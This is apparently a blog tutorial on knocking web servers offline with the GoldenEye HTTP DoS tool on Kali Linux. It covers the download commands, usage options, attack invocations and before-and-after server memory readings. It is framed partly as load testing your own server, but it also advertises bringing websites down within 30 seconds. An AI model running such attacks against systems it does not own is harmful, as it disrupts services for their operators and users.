Hack Websites

DoS website in Kali Linux using GoldenEye

I’ve talked about testing few DoS tools that can put heavy load on HTTP servers in order to bring them to their knees by exhausting resource pools. GoldenEye is the first of those tools and it is one of the newest I discovered in GitHub. You can DoS websites with GoldenEye and bring it down almost within 30 seconds depending on how big their memory pool is. Of course, it wont work on protected servers and servers behind a proper WAF, IDS, but this is a great tool to test your own Web Server for load testing and amend your iptables/Firewall rules accordingly.

You can also DoS using hping3 to simulate similar attacks or PHP exploit to attack WordPress websites. There’s also few great tools that will allow you view live DDoS attacks maps worldwide in almost realtime.

Details for GoldenEye tool is listed below:

• Tool Name: GoldenEye
• Author: Jan Seidl
• Website: http://wroot.org/

From GoldenEye’s writer’s post:

1. This tool is meant for research purposes only and any malicious usage of this tool is prohibited.
2. GoldenEye is an python app for SECURITY TESTING PURPOSES ONLY!
3. GoldenEye is a HTTP DoS Test Tool.
4. Attack Vector exploited: HTTP Keep Alive + NoCache

Types of DoS or DDoS attacks

Let’s go over some very basic info regarding DoS or DDoS attacks. There are basically three types of DoS and DDoS attacks:

1. Application layer DoS and DDoS attacks
2. Protocol layer DoS and DDoS attacks
3. Volume-based DoS and DDoS attacks

Application layer DoS and DDoS attacks

Application-layer DoS and DDoS attacks are attacks that target Windows, Apache, OpenBSD, or other software vulnerabilities to perform the attack and crash the server.

Protocol layer DoS and DDoS attacks

A protocol DoS and DDoS attacks is an attack on the protocol level. This category includes Synflood, Ping of Death, and more.

Volume-based DoS and DDoS attacks attacks

This type of DoS and DDoS attacks includes ICMP floods, UDP floods, and other kind of floods performed via spoofed packets.

The word DoS and DDoS is used loosely as when you attack from a single machine, it’s usually considered as a DoS attack. Multiply a single attacker from a botnet (or a group) then it becomes a DDoS attack. There are many explanations to it, but just know that no matter which type of attack it is, they are equally detrimental for a server/network.

GoldenEye Help Menu- Click to expand

Download GoldenEye

I prefer to make a folder for everything. I will just do that. You do what you need to do.

root@kali:~# mkdir GoldenEye
root@kali:~# 
root@kali:~# cd GoldenEye/
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# wget https://github.com/jseidl/GoldenEye/archive/master.zip
root@kali:~/GoldenEye#

So I made a folder named ‘GoldenEye‘ and changed directory to that. Then used wget to pull down the master archive.

Once download completes, unzip the master.zip file.

root@kali:~/GoldenEye# unzip master.zip

This creates a new folder named GoldenEye-master.

root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# ls
GoldenEye-master master.zip
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# cd GoldenEye-master/
root@kali:~/GoldenEye/GoldenEye-master# 
root@kali:~/GoldenEye/GoldenEye-master# ls
goldeneye.py README.md res util
root@kali:~/GoldenEye/GoldenEye-master#

Run GoldenEye – DoS website

This is rather easy. Following is the usage of goldeneye.py.

USAGE: ./goldeneye.py <url> [OPTIONS]

 OPTIONS:
    Flag           Description                     Default
    -u, --useragents   File with user-agents to use                     (default: randomly generated)
    -w, --workers      Number of concurrent workers                     (default: 50)
    -s, --sockets      Number of concurrent sockets                     (default: 30)
    -m, --method       HTTP Method to use 'get' or 'post'  or 'random'  (default: get)
    -d, --debug        Enable Debug Mode [more verbose output]          (default: False)
    -h, --help         Shows this help

You should schedule and announce your test window so users are aware of the possibility of an outage. Often simulations result in actual failures.

Under NO Circumstances should you run a DoS simulation/test attack against your environment without first notifying your hosting provider. This is especially true for external / full stack tests that will be going through your provider’s network.

Depending on your Linux, Windows or Mac distribution, (any OS that supports Python would do), you just use the following command:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
sudo ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
python goldeneye.py http://www.goldeneyetestsite.com/

Depending on where you’ve saved the files, adjust your path and command.

Following is taken from my tests:

The attack

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://10.0.0.101/ 

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

Hitting webserver in mode 'get' with 10 workers running 500 connections each. Hit CTRL+C to cancel.
^CCTRL+C received. Killing all workers
Shutting down GoldenEye
root@kali:~/GoldenEye/GoldenEye-master#

The whole attack lasted only 30 seconds.

The result

This is what I’ve seen in the server end

Before attack

root@someserver [~]# free -m
total used free shared buffers cached
Mem: 1024 713 302 49 9 150
-/+ buffers/cache: 552 1001
Swap: 9990 40 160

root@someserver [~]# pgrep httpd | wc -l
11

I had a massive pool of free memory and just 11 httpd workers.

After attack

root@serv1 [~]# free -m
 total used free shared buffers cached
Mem: 1024 101 90 49 9 150
-/+ buffers/cache: 3544 190
Swap: 990 40 150
root@someserver [~]# pgrep httpd | wc -l
174

I’ve now got just 101M free memory and 174 httpd workers.

Took only 15 seconds to push this server to it limit. Next we look analyse the attack that reveals interesting outcomes achieved by this DoS tool.